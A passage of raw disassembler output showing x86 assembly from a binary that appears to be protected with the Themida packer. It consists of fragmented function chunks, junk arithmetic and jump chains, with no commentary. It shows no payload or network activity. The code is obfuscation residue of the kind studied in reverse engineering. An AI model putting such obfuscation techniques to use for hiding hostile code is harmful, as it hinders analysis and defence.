pop ebx
add ebx, 4
push edi
push 4
mov edi, [esp+10h+var_10]
jmp loc_56F138
; END OF FUNCTION CHUNK FOR sub_56C474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56A35D: ; CODE XREF: sub_569193-58A4j
mov [esp+0], ebx
push dword ptr [esp+0]
jmp loc_56BEA5
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_56A368: ; CODE XREF: sub_5690E8-12F2j
neg [esp+10h+var_10]
mov esi, [esp+10h+var_10]
add esp, 4
xchg eax, esi
push 7CF7h
mov [esp+10h+var_10], ebp
mov ebp, 6F647392h
or eax, ebp
mov ebp, [esp+10h+var_10]
add esp, 4
push ebx
mov ebx, 6E208B4h
jmp loc_573342
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
loc_56A398: ; CODE XREF: Themida_:0056D16Bj
push 653Ah
mov [esp], ebp
not dword ptr [esp]
pop ebp
jmp loc_574AA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_56A3A9: ; CODE XREF: sub_56BC97+10BFj
mov esp, [esp+0]
xor byte ptr [esp-4+arg_0], al
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_56A3B5: ; CODE XREF: sub_563207+Aj
push esp
jmp loc_569A5E
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56A3BB: ; CODE XREF: sub_571289-44Bj
shl esi, 3
jmp loc_573513
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_56A3C3: ; CODE XREF: sub_574287-C442j
mov [esp+4+var_4], esi
push edi
jmp loc_5721A4
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56637E
loc_56A3CC: ; CODE XREF: sub_56637E+9j
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
pop esp
shl eax, 3
sub eax, 0FFFFFFFFh
jmp loc_5694D2
; END OF FUNCTION CHUNK FOR sub_56637E
; ---------------------------------------------------------------------------
loc_56A3E2: ; CODE XREF: Themida_:00560ECEj
push esp
jmp loc_571FF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56A3E8: ; CODE XREF: sub_57354D-95C4j
mov esp, [esp+0]
shr ecx, 2
sub esp, 4
jmp loc_57034A
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_56A3F9: ; CODE XREF: sub_572E16+16E1j
mov esi, 569E073Ah
mov ecx, 2EAA7C1Dh
jmp loc_5647B4
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F0F
loc_56A408: ; CODE XREF: sub_570F0F-2AE0j
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_56E3DB
; END OF FUNCTION CHUNK FOR sub_570F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_56A416: ; CODE XREF: sub_569D5F-6926j
mov [esp+0], dx
mov dl, 0E0h
sub al, 57h
jmp loc_574CCE
; END OF FUNCTION CHUNK FOR sub_569D5F
; =============== S U B R O U T I N E =======================================
sub_56A423 proc near ; CODE XREF: sub_571A50+4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561DC3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C2A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C769 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C95D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FE08 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571A2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572A39 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573EA1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574C67 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push 21B3h
mov [esp+8+var_8], edx
push 179Ah
mov [esp+0Ch+var_C], ecx
mov ecx, 551D5E2Bh
jmp loc_56FE08
sub_56A423 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56A445: ; CODE XREF: sub_57549C-1C04j
add eax, edi
push edi
jmp loc_564365
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56A44D: ; CODE XREF: sub_567D31+8B2Fj
push [esp+4+var_4]
jmp loc_5742D7
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_56A455: ; CODE XREF: sub_574000-448Aj
push eax
mov eax, 70F4622Bh
inc eax
jmp loc_560E7E
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56A461: ; CODE XREF: sub_567CF5+318Bj
push 45CD678Ah
jmp loc_565F5A
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56A46B: ; CODE XREF: sub_5678CB+8F8j
or ch, bh
mov bx, word ptr [esp+4+var_4]
add esp, 2
neg ch
sub esp, 4
mov [esp+4+var_4], eax
mov ah, 86h
jmp loc_56157F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56A486: ; CODE XREF: sub_56D464-6715j
mov [esp+8+var_8], esi
push [esp+8+var_4]
pop esi
pop [esp+8+var_8]
jmp loc_56272B
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56A496: ; CODE XREF: sub_56B11B-5CFj
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ebp
xor ebp, [esp+0Ch+var_C]
pop esp
pop [esp+8+var_8]
jmp loc_56B41D
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56A4B5: ; CODE XREF: sub_56FA15-13D5j
add bl, 0ACh
jmp loc_569904
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56A4BD: ; CODE XREF: sub_57146D-B904j
add esp, 4
sub bl, 2Ah
jmp loc_572E83
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_56A4CB: ; CODE XREF: sub_563DCB-2C82j
or edi, 2DA723B2h
or edi, 252D0DBEh
xor edi, 2DAFEFFBh
jmp loc_5697A2
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56A4E2: ; CODE XREF: sub_5673C3+C815j
push [esp-8+arg_8]
pop ebp
jmp loc_564E7D
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_56A4EC: ; CODE XREF: sub_572641+Aj
mov al, 0EEh
add al, 70h
jmp loc_566E32
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56A4F5: ; CODE XREF: sub_574CDD-11438j
dec eax
add eax, 0D31EC48Ch
add edi, eax
jmp loc_560A09
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_56A502: ; CODE XREF: sub_5722C8+3Ej
push esi
push dword ptr [esp+4]
jmp loc_56D2F3
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56A50C: ; CODE XREF: sub_56BD44+67E4j
add [esp+8+var_8], 4
mov edi, [esp+8+var_8]
jmp loc_5683D5
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56A51B: ; CODE XREF: sub_574A21-13A99j
mov edi, 0FF74691h
xor edi, 250804FEh
inc edi
xor edi, 48EA3036h
not edi
sub edi, 741B664Eh
xor edx, edi
jmp loc_56E5F0
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56A53C: ; CODE XREF: sub_568764+97B9j
add edx, eax
add edx, 51510B1h
pop eax
jmp loc_562881
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56A54A: ; CODE XREF: sub_564D26+FF17j
mov esp, [esp+0]
push 0B7Fh
mov [esp+0], esi
push 467C3554h
mov esi, [esp+4+var_4]
jmp loc_562527
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56A562: ; CODE XREF: sub_56AB5E+A674j
mov ebx, 3594A33h
push eax
mov eax, 21FC4270h
shr eax, 2
push ebx
mov ebx, 164B0DA7h
add eax, ebx
pop ebx
sub edx, eax
pop eax
add edx, 53C234D7h
add edx, ebx
sub edx, 53C234D7h
add edx, 1ECA1E43h
push [esp+0Ch+var_C]
jmp loc_568320
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56A598: ; CODE XREF: sub_569FB8+2417j
add esp, 4
pop edx
push 0AE9h
jmp loc_570DDE
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_56A5A9: ; CODE XREF: sub_560CF1+2D07j
add eax, edi
pop edi
push eax
push [esp+10h+var_C]
push [esp+14h+var_14]
pop eax
add esp, 4
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
push 7D7h
mov [esp+4+var_4], ebp
jmp loc_560789
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_56A5CB: ; CODE XREF: sub_568D9E+890Aj
xchg eax, edi
sub eax, 59546926h
jmp loc_56C589
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C21
loc_56A5D6: ; CODE XREF: sub_561C21+D043j
shl bl, 1
add bl, 0CEh
xor bl, 0CEh
xor cl, bl
mov ebx, [esp+0]
add esp, 4
xor al, cl
push [esp-4+arg_0]
pop ecx
add esp, 4
jmp sub_56AB5E
; END OF FUNCTION CHUNK FOR sub_561C21
; ---------------------------------------------------------------------------
loc_56A5FA: ; CODE XREF: Themida_:0056448Fj
add edx, 4
sub edx, 4
jmp loc_5642AE
; =============== S U B R O U T I N E =======================================
sub_56A608 proc near ; CODE XREF: sub_5642C7-27B2j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005607BF SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00561F3A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564838 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565394 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566351 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056826D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B695 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C00E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DA1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DEA2 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056ECE9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00571A59 SIZE 00000006 BYTES
sub esp, 4
jmp loc_565394
sub_56A608 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56A613: ; CODE XREF: sub_563A7F+8577j
push ecx
mov ch, bh
mov dl, ch
jmp loc_561B8C
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_56A61D proc near ; CODE XREF: sub_56ADD8+3CF6j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005743EB SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push esp
mov ebp, [esp+8+var_8]
add esp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_5743EB
sub_56A61D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56A647: ; CODE XREF: sub_561027+E4F4j
mov [esp+10h+var_10], ebp
push ebx
mov ebx, 62D4623Eh
sub [esp+14h+var_10], ebx
jmp loc_56ACB8
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_56A659: ; CODE XREF: sub_5687A3-6024j
pop ebx
push esi
mov esi, 0ECC20295h
add ecx, esi
pop esi
sub ebx, 3BE812A2h
jmp loc_569D57
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
loc_56A66E: ; CODE XREF: Themida_:0056DA98j
add esp, 4
add esp, 4
push ebx
mov ebx, 1ED3296Dh
xor edx, ebx
pop ebx
jmp loc_56110C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56A688: ; CODE XREF: sub_571F6F-F24Bj
pop esi
pop edx
dec ecx
jmp loc_5747F3
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56A690: ; CODE XREF: sub_57354D-AD4Aj
mov eax, esp
push ebp
mov ebp, 0D8B26C3h
jmp loc_569F98
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56A69D: ; CODE XREF: sub_574304-C87Ej
xor ebp, 758A1AA4h
sub ebp, 0D9F972F7h
add edi, ebp
jmp loc_5644FF
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56A6B0: ; CODE XREF: sub_571088-B971j
add esp, 2
movzx eax, al
jmp loc_571FB5
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_56A6BE: ; CODE XREF: sub_56C7AA+5977j
mov [esp+0], ebx
mov ebx, 0
jmp loc_5731D7
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56A6CB: ; CODE XREF: sub_568764+8950j
pop esi
push ecx
mov ecx, 4
jmp loc_56874B
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56A6D7: ; CODE XREF: sub_5713A7-7BD0j
add edx, ebx
push [esp+0Ch+var_C]
pop ebx
add esp, 4
push ebx
mov ebx, 10D474C4h
jmp loc_56782E
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_56A6EB: ; CODE XREF: sub_56E05C-6DBBj
push 7B7Bh
jmp loc_56C975
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56A6F5: ; CODE XREF: sub_57354D-CEB4j
add ebx, 4
push eax
mov eax, 4
jmp loc_56AF76
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_56A706: ; CODE XREF: sub_570CE4+42D3j
pop edx
jmp loc_571912
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56A70C: ; CODE XREF: sub_56FD38-8E82j
pop edi
and ebx, 293737C2h
inc ebx
jmp loc_56C754
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_56A719: ; CODE XREF: sub_56189F+EB12j
mov ebp, 61231ABEh
shr ebp, 2
shr ebp, 6
jmp loc_56D720
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56A729: ; CODE XREF: sub_56FB8A-A14Fj
sub ebx, 434C1F36h
pop esi
xor eax, ebx
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
add esp, 4
push 42C0h
mov [esp+4+var_4], eax
mov eax, esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
jmp loc_5663CD
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_56A763: ; CODE XREF: sub_566C83-6C64j
add ebx, 41FB5339h
jmp loc_56B3FD
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
loc_56A76E: ; CODE XREF: Themida_:0056C7D1j
sub esp, 4
mov [esp], edi
mov edi, 3ABF302Bh
mov esi, 261A197Ah
add esi, edi
pop edi
not esi
shr esi, 7
or esi, 444F2E48h
sub esi, 0D03D2AECh
jmp loc_567D4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56A79A: ; CODE XREF: sub_564BC5+9E64j
mov dx, [esp+0]
push 13CBh
mov [esp+4+var_4], ebp
push esp
pop ebp
jmp loc_56DF59
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_56A7AD: ; CODE XREF: sub_56241E-FB2j
mov dx, bx
pop ebx
not dx
xor dx, 5485h
sub esp, 2
jmp loc_573C5E
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56A7C1: ; CODE XREF: sub_5753A5-91DCj
mov edi, esp
add edi, 4
push ecx
mov ecx, esp
jmp loc_56FA7D
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56858D
loc_56A7D1: ; CODE XREF: sub_56858D+Cj
push edx
mov edx, 53B44166h
xor edx, 2C2B31CDh
add edx, 1E1339BEh
add edx, 0E2267D69h
add edi, edx
pop edx
pop esi
xchg edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], ecx
jmp loc_568B55
; END OF FUNCTION CHUNK FOR sub_56858D
; =============== S U B R O U T I N E =======================================
sub_56A7FB proc near ; CODE XREF: sub_569D5F+4AF1j
var_8 = dword ptr -8
var_3 = byte ptr -3
; FUNCTION CHUNK AT 00560FBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561A33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056296A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00563B64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564B9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005674F7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005688A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B972 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CD5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FA76 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570719 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572A52 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573C0A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057462D SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00574F9F SIZE 00000006 BYTES
push bx
jmp loc_573C0A
sub_56A7FB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_56A802: ; CODE XREF: sub_56749A-26DAj
pop esp
push 6834h
mov [esp+14h+var_14], eax
push esi
mov esi, esp
jmp loc_569251
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_56A813: ; CODE XREF: sub_56E5BB-D422j
add ecx, 2
push 106Dh
jmp loc_571921
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
dd 4EC81h, 0FCE90000h
db 86h, 0FFh
db 0FFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56A82B: ; CODE XREF: sub_5620B7+F04Cj
or dh, 0E7h
not dh
or dh, 0F0h
shr dh, 2
xor dh, 0A4h
mov ch, dh
pop edx
sub bh, 0E3h
sub bh, ch
push dx
mov dl, 0E3h
add bh, dl
pop dx
jmp loc_563733
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56A84E: ; CODE XREF: sub_563A7F+1022Bj
mov bl, 54h
mov dh, bl
pop bx
xor bh, dh
pop dx
and bh, 48h
push edx
mov dl, 83h
add bh, dl
jmp loc_5745FE
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56A865: ; CODE XREF: sub_574304-D83Ej
mov esp, [esp+4+var_4]
mov [esp+0], ebp
push esp
push [esp+4+var_4]
jmp loc_561167
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56A874: ; CODE XREF: sub_571F6F-1237j
pop ecx
add eax, edi
jmp loc_56EF3A
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_56A87C: ; CODE XREF: sub_569A84-4E35j
mov eax, 5F4C2755h
shl eax, 6
add eax, 2CF62AC4h
sub ebx, eax
pop eax
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_5736BF
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56A89D: ; CODE XREF: sub_5643EB+70C6j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_56A8A2: ; CODE XREF: sub_56A119+1Aj
push 7568h
mov [esp+0], edi
mov edi, 923DE193h
sub ebp, edi
mov edi, [esp+0]
add esp, 4
add eax, ebp
pop ebp
jmp loc_57116D
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_56A8C2: ; CODE XREF: sub_568D9E+AFD6j
mov [esp+0], eax
push ecx
mov ecx, 31987FEEh
mov eax, ecx
pop ecx
mov edi, eax
mov eax, [esp+0]
add esp, 4
push ebp
mov ebp, 15AE6C66h
mov eax, ebp
pop ebp
xchg eax, edi
jmp loc_5716A6
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_56A8E5: ; CODE XREF: sub_5662F9+5E35j
xor ecx, [esp+8+var_8]
xor [esp+8+var_8], ecx
xor ecx, [esp+8+var_8]
jmp loc_569BA6
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
loc_56A8F3: ; CODE XREF: Themida_:0056528Bj
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56A8F8: ; CODE XREF: sub_56628B+E05Dj
mov [esp+0Ch+var_C], eax
mov eax, 468E400Ch
jmp loc_573C9D
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
loc_56A905: ; CODE XREF: Themida_:0056BD8Ej
sub ebx, 84209FFDh
add ecx, ebx
pop ebx
jmp loc_5655E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56A913: ; CODE XREF: sub_5678CB+24j
mov [esp+0Eh+var_E], ecx
mov ch, al
mov bh, ch
pop ecx
jmp loc_566D2A
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574D8F
loc_56A920: ; CODE XREF: sub_574D8F-90A3j
pop esp
mov [esp+0], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574D8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56A929: ; CODE XREF: sub_574CBE-B210j
add eax, 650E4B2Dh
add eax, ebx
sub eax, 650E4B2Dh
jmp loc_56EEBE
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
loc_56A93A: ; CODE XREF: Themida_:00574F81j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
dec edi
sub edi, 1848714Bh
and edi, 6A7C090Ah
push edx
mov edx, 962D50C0h
add edi, edx
pop edx
mov esi, edi
jmp loc_570EE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56A968: ; CODE XREF: sub_5673C3-631Bj
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
and eax, esi
pop esi
or eax, eax
jnz loc_570135
push 1
push dword ptr [esp+0]
push [esp+4+var_4]
mov edx, [esp+8+var_8]
push ebp
push esp
pop ebp
sub esp, 4
mov [esp+10h+var_10], eax
jmp loc_573BA7
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56A99B: ; CODE XREF: sub_565632+39A7j
pop ecx
push edi
push [esp-0Ch+arg_C]
pop edi
pop [esp-0Ch+arg_8]
pop esp
or edx, eax
shl edx, 1
push 2C75h
mov [esp-10h+arg_C], ecx
sub esp, 4
jmp loc_57258F
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56A9BD: ; CODE XREF: sub_568E5C-772Ej
not edx
neg edx
jmp loc_5646B6
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56A9C6: ; CODE XREF: sub_574656-10129j
pop dword ptr [edi+24h]
sub dword ptr [edi+24h], 288D37A7h
push [esp-4+arg_0]
pop eax
push 3DC9h
jmp loc_56776A
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56A9DE: ; CODE XREF: sub_5643EB+C7F4j
pop edx
mov edx, ebx
pop ebx
inc edx
and edx, 0EF003F6h
jmp loc_56C9CA
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56A9EE: ; CODE XREF: sub_56FA15-3189j
mov ah, 0AEh
neg ah
add ah, 0BCh
neg ah
add ah, 0C5h
add ah, 9Ah
jmp loc_5689BB
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56AA02: ; CODE XREF: sub_564D26+C0B3j
mov [esp+28h+var_28], eax
mov eax, 8E86689Dh
add edi, eax
mov eax, [esp+28h+var_28]
push ebx
jmp loc_57056F
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56AA15: ; CODE XREF: sub_56616D-2818j
xor [esp+0], esi
xor esi, [esp+0]
jmp loc_566627
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56AA20: ; CODE XREF: sub_56102D-544j
push edi
mov edi, 4FC0190h
jmp loc_56D634
; END OF FUNCTION CHUNK FOR sub_56102D
; =============== S U B R O U T I N E =======================================
sub_56AA2B proc near ; CODE XREF: sub_566B79-4634j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056060F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005618BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00569A6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570CFF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572296 SIZE 00000006 BYTES
